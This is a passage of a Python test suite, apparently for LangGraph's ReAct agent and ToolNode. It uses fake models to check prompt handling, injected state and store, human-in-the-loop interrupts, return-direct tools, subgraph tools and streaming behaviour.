create_react_agent(FakeToolCallingModel(), [], prompt=prompt) + inputs = [HumanMessage("hi?")] + response = agent.invoke({"messages": inputs}) + expected_response = {"messages": inputs + [AIMessage(content="Baz hi?", id="0")]} + assert response == expected_response + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_prompt_with_store(version: str): + def add(a: int, b: int): + """Adds a and b""" + return a + b + + in_memory_store = InMemoryStore() + in_memory_store.put(("memories", "1"), "user_name", {"data": "User name is Alice"}) + in_memory_store.put(("memories", "2"), "user_name", {"data": "User name is Bob"}) + + def prompt(state, config, *, store): + user_id = config["configurable"]["user_id"] + system_str = store.get(("memories", user_id), "user_name").value["data"] + return [SystemMessage(system_str)] + state["messages"] + + def prompt_no_store(state, config): + return SystemMessage("foo") + state["messages"] + + model = FakeToolCallingModel() + + # test state modifier that uses store works + agent = create_react_agent( + model, + [add], + prompt=prompt, + store=in_memory_store, + version=version, + ) + response = agent.invoke( + {"messages": [("user", "hi")]}, {"configurable": {"user_id": "1"}} + ) + assert response["messages"][-1].content == "User name is Alice-hi" + + # test state modifier that doesn't use store works + agent = create_react_agent( + model, + [add], + prompt=prompt_no_store, + store=in_memory_store, + version=version, + ) + response = agent.invoke( + {"messages": [("user", "hi")]}, {"configurable": {"user_id": "2"}} + ) + assert response["messages"][-1].content == "foo-hi" + + +async def test_prompt_with_store_async(): + async def add(a: int, b: int): + """Adds a and b""" + return a + b + + in_memory_store = InMemoryStore() + await in_memory_store.aput( + ("memories", "1"), "user_name", {"data": "User name is Alice"} + ) + await in_memory_store.aput( + ("memories", "2"), "user_name", {"data": "User name is Bob"} + ) + + async def prompt(state, config, *, store): + user_id = config["configurable"]["user_id"] + system_str = (await store.aget(("memories", user_id), "user_name")).value[ + "data" + ] + return [SystemMessage(system_str)] + state["messages"] + + async def prompt_no_store(state, config): + return SystemMessage("foo") + state["messages"] + + model = FakeToolCallingModel() + + # test state modifier that uses store works + agent = create_react_agent(model, [add], prompt=prompt, store=in_memory_store) + response = await agent.ainvoke( + {"messages": [("user", "hi")]}, {"configurable": {"user_id": "1"}} + ) + assert response["messages"][-1].content == "User name is Alice-hi" + + # test state modifier that doesn't use store works + agent = create_react_agent( + model, [add], prompt=prompt_no_store, store=in_memory_store + ) + response = await agent.ainvoke( + {"messages": [("user", "hi")]}, {"configurable": {"user_id": "2"}} + ) + assert response["messages"][-1].content == "foo-hi" + + +@pytest.mark.parametrize("tool_style", ["openai", "anthropic"]) +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +@pytest.mark.parametrize("include_builtin", [True, False]) +def test_model_with_tools(tool_style: str, version: str, include_builtin: bool): + model = FakeToolCallingModel(tool_style=tool_style) + + @dec_tool + def tool1(some_val: int) -> str: + """Tool 1 docstring.""" + return f"Tool 1: {some_val}" + + @dec_tool + def tool2(some_val: int) -> str: + """Tool 2 docstring.""" + return f"Tool 2: {some_val}" + + tools = [tool1, tool2] + if include_builtin: + tools.append( + { + "type": "mcp", + "server_label": "atest_sever", + "server_url": "https://some.mcp.somewhere.com/sse", + "headers": {"foo": "bar"}, + "allowed_tools": [ + "mcp_tool_1", + "set_active_account", + "get_url_markdown", + "get_url_screenshot", + ], + "require_approval": "never", + } + ) + # check valid agent constructor + agent = create_react_agent( + model.bind_tools(tools), + tools, + version=version, + ) + result = agent.nodes["tools"].invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 2}, + "id": "some 1", + }, + { + "name": "tool2", + "args": {"some_val": 2}, + "id": "some 2", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + tool_messages: ToolMessage = result["messages"][-2:] + for tool_message in tool_messages: + assert tool_message.type == "tool" + assert tool_message.content in {"Tool 1: 2", "Tool 2: 2"} + assert tool_message.tool_call_id in {"some 1", "some 2"} + + # test mismatching tool lengths + with pytest.raises(ValueError): + create_react_agent(model.bind_tools([tool1]), [tool1, tool2]) + + # test missing bound tools + with pytest.raises(ValueError): + create_react_agent(model.bind_tools([tool1]), [tool2]) + + +def test__validate_messages(): + # empty input + _validate_chat_history([]) + + # single human message + _validate_chat_history( + [ + HumanMessage(content="What's the weather?"), + ] + ) + + # human + AI + _validate_chat_history( + [ + HumanMessage(content="What's the weather?"), + AIMessage(content="The weather is sunny and 75°F."), + ] + ) + + # Answered tool calls + _validate_chat_history( + [ + HumanMessage(content="What's the weather?"), + AIMessage( + content="Let me check that for you.", + tool_calls=[{"id": "call1", "name": "get_weather", "args": {}}], + ), + ToolMessage(content="Sunny, 75°F", tool_call_id="call1"), + AIMessage(content="The weather is sunny and 75°F."), + ] + ) + + # Unanswered tool calls + with pytest.raises(ValueError): + _validate_chat_history( + [ + AIMessage( + content="I'll check that for you.", + tool_calls=[ + {"id": "call1", "name": "get_weather", "args": {}}, + {"id": "call2", "name": "get_time", "args": {}}, + ], + ) + ] + ) + + with pytest.raises(ValueError): + _validate_chat_history( + [ + HumanMessage(content="What's the weather and time?"), + AIMessage( + content="I'll check that for you.", + tool_calls=[ + {"id": "call1", "name": "get_weather", "args": {}}, + {"id": "call2", "name": "get_time", "args": {}}, + ], + ), + ToolMessage(content="Sunny, 75°F", tool_call_id="call1"), + AIMessage( + content="The weather is sunny and 75°F. Let me check the time." + ), + ] + ) + + +def test__infer_handled_types() -> None: + def handle(e): # type: ignore + return "" + + def handle2(e: Exception) -> str: + return "" + + def handle3(e: ValueError | ToolException) -> str: + return "" + + class Handler: + def handle(self, e: ValueError) -> str: + return "" + + handle4 = Handler().handle + + def handle5(e: TypeError | ValueError | ToolException): + return "" + + expected: tuple = (Exception,) + actual = _infer_handled_types(handle) + assert expected == actual + + expected = (Exception,) + actual = _infer_handled_types(handle2) + assert expected == actual + + expected = (ValueError, ToolException) + actual = _infer_handled_types(handle3) + assert expected == actual + + expected = (ValueError,) + actual = _infer_handled_types(handle4) + assert expected == actual + + expected = (TypeError, ValueError, ToolException) + actual = _infer_handled_types(handle5) + assert expected == actual + + with pytest.raises(ValueError): + + def handler(e: str): + return "" + + _infer_handled_types(handler) + + with pytest.raises(ValueError): + + def handler(e: list[Exception]): + return "" + + _infer_handled_types(handler) + + with pytest.raises(ValueError): + + def handler(e: str | int): + return "" + + _infer_handled_types(handler) + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_react_agent_with_structured_response(version: str) -> None: + class WeatherResponse(BaseModel): + temperature: float = Field(description="The temperature in fahrenheit") + + tool_calls = [[{"args": {}, "id": "1", "name": "get_weather"}], []] + + def get_weather(): + """Get the weather""" + return "The weather is sunny and 75°F." + + expected_structured_response = WeatherResponse(temperature=75) + model = FakeToolCallingModel( + tool_calls=tool_calls, structured_response=expected_structured_response + ) + for response_format in (WeatherResponse, ("Meow", WeatherResponse)): + agent = create_react_agent( + model, + [get_weather], + response_format=response_format, + version=version, + ) + response = agent.invoke({"messages": [HumanMessage("What's the weather?")]}) + assert response["structured_response"] == expected_structured_response + assert len(response["messages"]) == 4 + assert response["messages"][-2].content == "The weather is sunny and 75°F." + + +class CustomState(AgentState): + user_name: str + + +class CustomStatePydantic(AgentStatePydantic): + user_name: str | None = None + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +@pytest.mark.parametrize("state_schema", [CustomState, CustomStatePydantic]) +def test_react_agent_update_state( + sync_checkpointer: BaseCheckpointSaver, + version: Literal["v1", "v2"], + state_schema: StateSchemaType, +) -> None: + @dec_tool + def get_user_name(tool_call_id: Annotated[str, InjectedToolCallId]): + """Retrieve user name""" + user_name = interrupt("Please provider user name:") + return Command( + update={ + "user_name": user_name, + "messages": [ + ToolMessage( + "Successfully retrieved user name", tool_call_id=tool_call_id + ) + ], + } + ) + + if issubclass(state_schema, AgentStatePydantic): + + def prompt(state: CustomStatePydantic): + user_name = state.user_name + if user_name is None: + return state.messages + + system_msg = f"User name is {user_name}" + return [{"role": "system", "content": system_msg}] + state.messages + else: + + def prompt(state: CustomState): + user_name = state.get("user_name") + if user_name is None: + return state["messages"] + + system_msg = f"User name is {user_name}" + return [{"role": "system", "content": system_msg}] + state["messages"] + + tool_calls = [[{"args": {}, "id": "1", "name": "get_user_name"}]] + model = FakeToolCallingModel(tool_calls=tool_calls) + agent = create_react_agent( + model, + [get_user_name], + state_schema=state_schema, + prompt=prompt, + checkpointer=sync_checkpointer, + version=version, + ) + config = {"configurable": {"thread_id": "1"}} + # Run until interrupted + agent.invoke({"messages": [("user", "what's my name")]}, config) + # supply the value for the interrupt + response = agent.invoke(Command(resume="Archibald"), config) + # confirm that the state was updated + assert response["user_name"] == "Archibald" + assert len(response["messages"]) == 4 + tool_message: ToolMessage = response["messages"][-2] + assert tool_message.content == "Successfully retrieved user name" + assert tool_message.tool_call_id == "1" + assert tool_message.name == "get_user_name" + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_react_agent_parallel_tool_calls( + sync_checkpointer: BaseCheckpointSaver, version: str +) -> None: + human_assistance_execution_count = 0 + + @dec_tool + def human_assistance(query: str) -> str: + """Request assistance from a human.""" + nonlocal human_assistance_execution_count + human_response = interrupt({"query": query}) + human_assistance_execution_count += 1 + return human_response["data"] + + get_weather_execution_count = 0 + + @dec_tool + def get_weather(location: str) -> str: + """Use this tool to get the weather.""" + nonlocal get_weather_execution_count + get_weather_execution_count += 1 + return "It's sunny!" + + tool_calls = [ + [ + {"args": {"location": "sf"}, "id": "1", "name": "get_weather"}, + {"args": {"query": "request help"}, "id": "2", "name": "human_assistance"}, + ], + [], + ] + model = FakeToolCallingModel(tool_calls=tool_calls) + agent = create_react_agent( + model, + [human_assistance, get_weather], + checkpointer=sync_checkpointer, + version=version, + ) + config = {"configurable": {"thread_id": "1"}} + query = "Get user assistance and also check the weather" + message_types = [] + for event in agent.stream( + {"messages": [("user", query)]}, config, stream_mode="values" + ): + if "__interrupt__" not in event: + if messages := event.get("messages"): + message_types.append([m.type for m in messages]) + + if version == "v1": + assert message_types == [ + ["human"], + ["human", "ai"], + ] + elif version == "v2": + assert message_types == [ + ["human"], + ["human", "ai"], + ["human", "ai", "tool"], + ] + + # Resume + message_types = [] + for event in agent.stream( + Command(resume={"data": "Hello"}), config, stream_mode="values" + ): + if messages := event.get("messages"): + message_types.append([m.type for m in messages]) + + assert message_types == [ + ["human", "ai"], + ["human", "ai", "tool", "tool"], + ["human", "ai", "tool", "tool", "ai"], + ] + + if version == "v1": + assert human_assistance_execution_count == 1 + assert get_weather_execution_count == 2 + elif version == "v2": + assert human_assistance_execution_count == 1 + assert get_weather_execution_count == 1 + + +class _InjectStateSchema(TypedDict): + messages: list + foo: str + + +class _InjectedStatePydanticSchema(BaseModelV1): + messages: list + foo: str + + +class _InjectedStatePydanticV2Schema(BaseModel): + messages: list + foo: str + + +@dataclasses.dataclass +class _InjectedStateDataclassSchema: + messages: list + foo: str + + +T = TypeVar("T") + + +@pytest.mark.parametrize( + "schema_", + [ + _InjectStateSchema, + pytest.param( + _InjectedStatePydanticSchema, + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), + reason="Pydantic v1 not supported in Python 3.14+", + ), + ), + _InjectedStatePydanticV2Schema, + _InjectedStateDataclassSchema, + ], +) +def test_tool_node_inject_state(schema_: type[T]) -> None: + def tool1(some_val: int, state: Annotated[T, InjectedState]) -> str: + """Tool 1 docstring.""" + if isinstance(state, dict): + return state["foo"] + else: + return getattr(state, "foo") + + def tool2(some_val: int, state: Annotated[T, InjectedState()]) -> str: + """Tool 2 docstring.""" + if isinstance(state, dict): + return state["foo"] + else: + return getattr(state, "foo") + + def tool3( + some_val: int, + foo: Annotated[str, InjectedState("foo")], + msgs: Annotated[list[AnyMessage], InjectedState("messages")], + ) -> str: + """Tool 1 docstring.""" + return foo + + def tool4( + some_val: int, msgs: Annotated[list[AnyMessage], InjectedState("messages")] + ) -> str: + """Tool 1 docstring.""" + return msgs[0].content + + node = ToolNode([tool1, tool2, tool3, tool4]) + for tool_name in ("tool1", "tool2", "tool3"): + tool_call = { + "name": tool_name, + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + result = node.invoke( + schema_(**{"messages": [msg], "foo": "bar"}), + config=_create_config_with_runtime(), + ) + tool_message = result["messages"][-1] + assert tool_message.content == "bar", f"Failed for tool={tool_name}" + + tool_call = { + "name": "tool4", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + result = node.invoke( + schema_(**{"messages": [msg], "foo": ""}), config=_create_config_with_runtime() + ) + tool_message = result["messages"][-1] + assert tool_message.content == "hi?" + + result = node.invoke([msg], config=_create_config_with_runtime()) + tool_message = result[-1] + assert tool_message.content == "hi?" + + +class AgentStateExtraKey(AgentState): + foo: int + + +class AgentStateExtraKeyPydantic(AgentStatePydantic): + foo: int + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +@pytest.mark.parametrize( + "state_schema", [AgentStateExtraKey, AgentStateExtraKeyPydantic] +) +def test_create_react_agent_inject_vars( + version: Literal["v1", "v2"], state_schema: StateSchemaType +) -> None: + """Test that the agent can inject state and store into tool functions.""" + store = InMemoryStore() + namespace = ("test",) + store.put(namespace, "test_key", {"bar": 3}) + + if issubclass(state_schema, AgentStatePydantic): + + def tool1( + some_val: int, + state: Annotated[AgentStateExtraKeyPydantic, InjectedState], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["bar"] + return some_val + state.foo + store_val + else: + + def tool1( + some_val: int, + state: Annotated[dict, InjectedState], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["bar"] + return some_val + state["foo"] + store_val + + tool_call = { + "name": "tool1", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + model = FakeToolCallingModel(tool_calls=[[tool_call], []]) + agent = create_react_agent( + model, + ToolNode([tool1], handle_tool_errors=False), + state_schema=state_schema, + store=store, + version=version, + ) + result = agent.invoke({"messages": [{"role": "user", "content": "hi"}], "foo": 2}) + assert result["messages"] == [ + _AnyIdHumanMessage(content="hi"), + AIMessage(content="hi", tool_calls=[tool_call], id="0"), + _AnyIdToolMessage(content="6", name="tool1", tool_call_id="some 0"), + AIMessage("hi-hi-6", id="1"), + ] + assert result["foo"] == 2 + + +def test_tool_node_inject_store() -> None: + store = InMemoryStore() + namespace = ("test",) + + def tool1(some_val: int, store: Annotated[BaseStore, InjectedStore()]) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}" + + def tool2(some_val: int, store: Annotated[BaseStore, InjectedStore()]) -> str: + """Tool 2 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}" + + def tool3( + some_val: int, + bar: Annotated[str, InjectedState("bar")], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 3 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}, state val: {bar}" + + node = ToolNode([tool1, tool2, tool3], handle_tool_errors=True) + store.put(namespace, "test_key", {"foo": "bar"}) + + class State(MessagesState): + bar: str + + builder = StateGraph(State) + builder.add_node("tools", node) + builder.add_edge(START, "tools") + graph = builder.compile(store=store) + + for tool_name in ("tool1", "tool2"): + tool_call = { + "name": tool_name, + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + node_result = node.invoke( + {"messages": [msg]}, config=_create_config_with_runtime(store=store) + ) + graph_result = graph.invoke({"messages": [msg]}) + for result in (node_result, graph_result): + result["messages"][-1] + tool_message = result["messages"][-1] + assert tool_message.content == "Some val: 1, store val: bar", ( + f"Failed for tool={tool_name}" + ) + + tool_call = { + "name": "tool3", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + node_result = node.invoke( + {"messages": [msg], "bar": "baz"}, + config=_create_config_with_runtime(store=store), + ) + graph_result = graph.invoke({"messages": [msg], "bar": "baz"}) + for result in (node_result, graph_result): + result["messages"][-1] + tool_message = result["messages"][-1] + assert tool_message.content == "Some val: 1, store val: bar, state val: baz", ( + f"Failed for tool={tool_name}" + ) + + # test injected store without passing store to compiled graph + failing_graph = builder.compile() + with pytest.raises(ValueError): + failing_graph.invoke({"messages": [msg], "bar": "baz"}) + + +def test_tool_node_ensure_utf8() -> None: + @dec_tool + def get_day_list(days: list[str]) -> list[str]: + """choose days""" + return days + + data = ["星期一", "水曜日", "목요일", "Friday"] + tools = [get_day_list] + tool_calls = [ToolCall(name=get_day_list.name, args={"days": data}, id="test_id")] + outputs: list[ToolMessage] = ToolNode(tools).invoke( + [AIMessage(content="", tool_calls=tool_calls)], + config=_create_config_with_runtime(), + ) + assert outputs[0].content == json.dumps(data, ensure_ascii=False) + + +def test_tool_node_messages_key() -> None: + @dec_tool + def add(a: int, b: int): + """Adds a and b.""" + return a + b + + model = FakeToolCallingModel( + tool_calls=[[ToolCall(name=add.name, args={"a": 1, "b": 2}, id="test_id")]] + ) + + class State(TypedDict): + subgraph_messages: Annotated[list[AnyMessage], add_messages] + + def call_model(state: State): + response = model.invoke(state["subgraph_messages"]) + model.tool_calls = [] + return {"subgraph_messages": response} + + builder = StateGraph(State) + builder.add_node("agent", call_model) + builder.add_node("tools", ToolNode([add], messages_key="subgraph_messages")) + builder.add_conditional_edges( + "agent", partial(tools_condition, messages_key="subgraph_messages") + ) + builder.add_edge(START, "agent") + builder.add_edge("tools", "agent") + + graph = builder.compile() + result = graph.invoke({"subgraph_messages": [HumanMessage(content="hi")]}) + assert result["subgraph_messages"] == [ + _AnyIdHumanMessage(content="hi"), + AIMessage( + content="hi", + id="0", + tool_calls=[ToolCall(name=add.name, args={"a": 1, "b": 2}, id="test_id")], + ), + _AnyIdToolMessage(content="3", name=add.name, tool_call_id="test_id"), + AIMessage(content="hi-hi-3", id="1"), + ] + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +async def test_return_direct(version: str) -> None: + @dec_tool(return_direct=True) + def tool_return_direct(input: str) -> str: + """A tool that returns directly.""" + return f"Direct result: {input}" + + @dec_tool + def tool_normal(input: str) -> str: + """A normal tool.""" + return f"Normal result: {input}" + + first_tool_call = [ + ToolCall( + name="tool_return_direct", + args={"input": "Test direct"}, + id="1", + ), + ] + expected_ai = AIMessage( + content="Test direct", + id="0", + tool_calls=first_tool_call, + ) + model = FakeToolCallingModel(tool_calls=[first_tool_call, []]) + agent = create_react_agent( + model, + [tool_return_direct, tool_normal], + version=version, + ) + + # Test direct return for tool_return_direct + result = agent.invoke( + {"messages": [HumanMessage(content="Test direct", id="hum0")]} + ) + assert result["messages"] == [ + HumanMessage(content="Test direct", id="hum0"), + expected_ai, + ToolMessage( + content="Direct result: Test direct", + name="tool_return_direct", + tool_call_id="1", + id=result["messages"][2].id, + ), + ] + second_tool_call = [ + ToolCall( + name="tool_normal", + args={"input": "Test normal"}, + id="2", + ), + ] + model = FakeToolCallingModel(tool_calls=[second_tool_call, []]) + agent = create_react_agent( + model, [tool_return_direct, tool_normal], version=version + ) + result = agent.invoke( + {"messages": [HumanMessage(content="Test normal", id="hum1")]} + ) + assert result["messages"] == [ + HumanMessage(content="Test normal", id="hum1"), + AIMessage(content="Test normal", id="0", tool_calls=second_tool_call), + ToolMessage( + content="Normal result: Test normal", + name="tool_normal", + tool_call_id="2", + id=result["messages"][2].id, + ), + AIMessage(content="Test normal-Test normal-Normal result: Test normal", id="1"), + ] + + both_tool_calls = [ + ToolCall( + name="tool_return_direct", + args={"input": "Test both direct"}, + id="3", + ), + ToolCall( + name="tool_normal", + args={"input": "Test both normal"}, + id="4", + ), + ] + model = FakeToolCallingModel(tool_calls=[both_tool_calls, []]) + agent = create_react_agent( + model, [tool_return_direct, tool_normal], version=version + ) + result = agent.invoke({"messages": [HumanMessage(content="Test both", id="hum2")]}) + assert result["messages"] == [ + HumanMessage(content="Test both", id="hum2"), + AIMessage(content="Test both", id="0", tool_calls=both_tool_calls), + ToolMessage( + content="Direct result: Test both direct", + name="tool_return_direct", + tool_call_id="3", + id=result["messages"][2].id, + ), + ToolMessage( + content="Normal result: Test both normal", + name="tool_normal", + tool_call_id="4", + id=result["messages"][3].id, + ), + ] + + +def test_inspect_react() -> None: + model = FakeToolCallingModel(tool_calls=[]) + agent = create_react_agent(model, []) + inspect.getclosurevars(agent.nodes["agent"].bound.func) + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_react_with_subgraph_tools( + sync_checkpointer: BaseCheckpointSaver, version: Literal["v1", "v2"] +) -> None: + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define the subgraphs + def add(state): + return {"result": state["a"] + state["b"]} + + add_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(add) + .add_edge(START, "add") + .compile() + ) + + def multiply(state): + return {"result": state["a"] * state["b"]} + + multiply_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(multiply) + .add_edge(START, "multiply") + .compile() + ) + + multiply_subgraph.invoke({"a": 2, "b": 3}) + + # Add subgraphs as tools + + def addition(a: int, b: int): + """Add two numbers""" + return add_subgraph.invoke({"a": a, "b": b})["result"] + + def multiplication(a: int, b: int): + """Multiply two numbers""" + return multiply_subgraph.invoke({"a": a, "b": b})["result"] + + model = FakeToolCallingModel( + tool_calls=[ + [ + {"args": {"a": 2, "b": 3}, "id": "1", "name": "addition"}, + {"args": {"a": 2, "b": 3}, "id": "2", "name": "multiplication"}, + ], + [], + ] + ) + tool_node = ToolNode([addition, multiplication], handle_tool_errors=False) + agent = create_react_agent( + model, + tool_node, + checkpointer=sync_checkpointer, + version=version, + ) + result = agent.invoke( + {"messages": [HumanMessage(content="What's 2 + 3 and 2 * 3?")]}, + config={"configurable": {"thread_id": "1"}}, + ) + assert result["messages"] == [ + _AnyIdHumanMessage(content="What's 2 + 3 and 2 * 3?"), + AIMessage( + content="What's 2 + 3 and 2 * 3?", + id="0", + tool_calls=[ + ToolCall(name="addition", args={"a": 2, "b": 3}, id="1"), + ToolCall(name="multiplication", args={"a": 2, "b": 3}, id="2"), + ], + ), + ToolMessage( + content="5", name="addition", tool_call_id="1", id=result["messages"][2].id + ), + ToolMessage( + content="6", + name="multiplication", + tool_call_id="2", + id=result["messages"][3].id, + ), + AIMessage( + content="What's 2 + 3 and 2 * 3?-What's 2 + 3 and 2 * 3?-5-6", id="1" + ), + ] + + +def test_tool_node_stream_writer() -> None: + @dec_tool + def streaming_tool(x: int) -> str: + """Do something with writer.""" + my_writer = get_stream_writer() + for value in ["foo", "bar", "baz"]: + my_writer({"custom_tool_value": value}) + + return x + + tool_node = ToolNode([streaming_tool]) + graph = ( + StateGraph(MessagesState) + .add_node("tools", tool_node) + .add_edge(START, "tools") + .compile() + ) + + tool_call = { + "name": "streaming_tool", + "args": {"x": 1}, + "id": "1", + "type": "tool_call", + } + inputs = { + "messages": [AIMessage("", tool_calls=[tool_call])], + } + + assert list(graph.stream(inputs, stream_mode="custom")) == [ + {"custom_tool_value": "foo"}, + {"custom_tool_value": "bar"}, + {"custom_tool_value": "baz"}, + ] + assert list(graph.stream(inputs, stream_mode=["custom", "updates"])) == [ + ("custom", {"custom_tool_value": "foo"}), + ("custom", {"custom_tool_value": "bar"}), + ("custom", {"custom_tool_value": "baz"}), + ( + "updates", + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="1", + name="streaming_tool", + tool_call_id="1", + ), + ], + }, + }, + ), + ] + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_react_agent_subgraph_streaming_sync(version: Literal["v1", "v2"]) -> None: + """Test React agent streaming when used as a subgraph node sync version""" + + @dec_tool + def get_weather(city: str) -> str: + """Get the weather of a city.""" + return f"The weather of {city} is sunny." + + # Create a React agent + model = FakeToolCallingModel( + tool_calls=[ + [{"args": {"city": "Tokyo"}, "id": "1", "name": "get_weather"}], + [], + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather], + prompt="You are a helpful travel assistant.", + version=version, + ) + + # Create a subgraph that uses the React agent as a node + def react_agent_node(state: MessagesState, config: RunnableConfig) -> MessagesState: + """Node that runs the React agent and collects streaming output.""" + collected_content = "" + + # Stream the agent output and collect content + for msg_chunk, msg_metadata in agent.stream( + {"messages": [("user", state["messages"][-1].content)]}, + config, + stream_mode="messages", + ): + if hasattr(msg_chunk, "content") and msg_chunk.content: + collected_content += msg_chunk.content + + return {"messages": [("assistant", collected_content)]} + + # Create the main workflow with the React agent as a subgraph node + workflow = StateGraph(MessagesState) + workflow.add_node("react_agent", react_agent_node) + workflow.add_edge(START, "react_agent") + workflow.add_edge("react_agent", "__end__") + compiled_workflow = workflow.compile() + + # Test the streaming functionality + result = compiled_workflow.invoke( + {"messages": [("user", "What is the weather in Tokyo?")]} + ) + + # Verify the result contains expected structure + assert len(result["messages"]) == 2 + assert result["messages"][0].content == "What is the weather in Tokyo?" + assert "assistant" in str(result["messages"][1]) + + # Test streaming with subgraphs = True + result = compiled_workflow.invoke( + {"messages": [("user", "What is the weather in Tokyo?")]}, + subgraphs=True, + ) + assert len(result["messages"]) == 2 + + events = [] + for event in compiled_workflow.stream( + {"messages": [("user", "What is the weather in Tokyo?")]}, + stream_mode="messages", + subgraphs=False, + ): + events.append(event) + + assert len(events) == 0 + + events = [] + for event in compiled_workflow.stream( + {"messages": [("user", "What is the weather in Tokyo?")]}, + stream_mode="messages", + subgraphs=True, + ): + events.append(event) + + assert len(events) == 3 + namespace, (msg, metadata) = events[0] + # FakeToolCallingModel returns a single AIMessage with tool calls + # The content of the AIMessage reflects the input message + assert msg.content.startswith("You are a helpful travel assistant") + namespace, (msg, metadata) = events[1] # ToolMessage + assert msg.content.startswith("The weather of Tokyo is sunny.") + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +async def test_react_agent_subgraph_streaming(version: Literal["v1", "v2"]) -> None: + """Test React agent streaming when used as a subgraph node.""" + + @dec_tool + def get_weather(city: str) -> str: + """Get the weather of a city.""" + return f"The weather of {city} is sunny." + + # Create a React agent + model = FakeToolCallingModel( + tool_calls=[ + [{"args": {"city": "Tokyo"}, "id": "1", "name": "get_weather"}], + [], + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather], + prompt="You are a helpful travel assistant.", + version=version, + ) + + # Create a subgraph that uses the React agent as a node + async def react_agent_node( + state: MessagesState, config: RunnableConfig + ) -> MessagesState: + """Node that runs the React agent and collects streaming output.""" + collected_content = "" + + # Stream the agent output and collect content + async for msg_chunk, msg_metadata in agent.astream( + {"messages": [("user", state["messages"][-1].content)]}, + config, + stream_mode="messages", + ): + if hasattr(msg_chunk, "content") and msg_chunk.content: + collected_content += msg_chunk.content + + return {"messages": [("assistant", collected_content)]} + + # Create the main workflow with the React agent as a subgraph node + workflow = StateGraph(MessagesState) + workflow.add_node("react_agent", react_agent_node) + workflow.add_edge(START, "react_agent") + workflow.add_edge("react_agent", "__end__") + compiled_workflow = workflow.compile() + + # Test the streaming functionality + result = await compiled_workflow.ainvoke( + {"messages": [("user", "What is the weather in Tokyo?")]} + ) + + # Verify the result contains expected structure + assert len(result["messages"]) == 2 + assert result["messages"][0].content == "What is the weather in Tokyo?" + assert "assistant" in str(result["messages"][1]) + + # Test streaming with subgraphs = True + result = await compiled_workflow.ainvoke( + {"messages": [("user", "What is the weather in Tokyo?")]}, + subgraphs=True, + ) + assert len(result["messages"]) == 2 + + events = [] + async for event in compiled_workflow.astream( + {"messages": [("user", "What is the weather in Tokyo?")]}, + stream_mode="messages", + subgraphs=False, + ): + events.append(event) + + assert len(events) == 0 + + events = [] + async for event in compiled_workflow.astream( + {"messages": [("user", "What is the weather in Tokyo?")]}, + stream_mode="messages", + subgraphs=True, + ): + events.append(event) + + assert len(events) == 3 + namespace, (msg, metadata) = events[0] + # FakeToolCallingModel returns a single AIMessage with tool calls + # The content of the AIMessage reflects the input message + assert msg.content.startswith("You are a helpful travel assistant") + namespace, (msg, metadata) = events[1] # ToolMessage + assert msg.content.startswith("The weather of Tokyo is sunny.") + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_tool_node_node_interrupt( + sync_checkpointer: BaseCheckpointSaver, version: str +) -> None: + def tool_normal(some_val: int) -> str: + """Tool docstring.""" + return "normal" + + def tool_interrupt(some_val: int) -> str: + """Tool docstring.""" + foo = interrupt("provide value for foo") + return foo + + # test inside react agent + model = FakeToolCallingModel( + tool_calls=[ + [ + ToolCall(name="tool_interrupt", args={"some_val": 0}, id="1"), + ToolCall(name="tool_normal", args={"some_val": 1}, id="2"), + ], + [], + ] + ) + config = {"configurable": {"thread_id": "1"}} + agent = create_react_agent( + model, + [tool_interrupt, tool_normal], + checkpointer=sync_checkpointer, + version=version, + ) + result = agent.invoke({"messages": [HumanMessage("hi?")]}, config) + expected_messages = [ + _AnyIdHumanMessage(content="hi?"), + AIMessage( + content="hi?", + id="0", + tool_calls=[ + { + "name": "tool_interrupt", + "args": {"some_val": 0}, + "id": "1", + "type": "tool_call", + }, + { + "name": "tool_normal", + "args": {"some_val": 1}, + "id": "2", + "type": "tool_call", + }, + ], + ), + _AnyIdToolMessage(content="normal", name="tool_normal", tool_call_id="2"), + ] + if version == "v1": + # Interrupt blocks second tool result + assert result["messages"] == expected_messages[:-1] + elif version == "v2": + assert result["messages"] == expected_messages + + state = agent.get_state(config) + assert state.next == ("tools",) + task = state.tasks[0] + assert task.name == "tools" 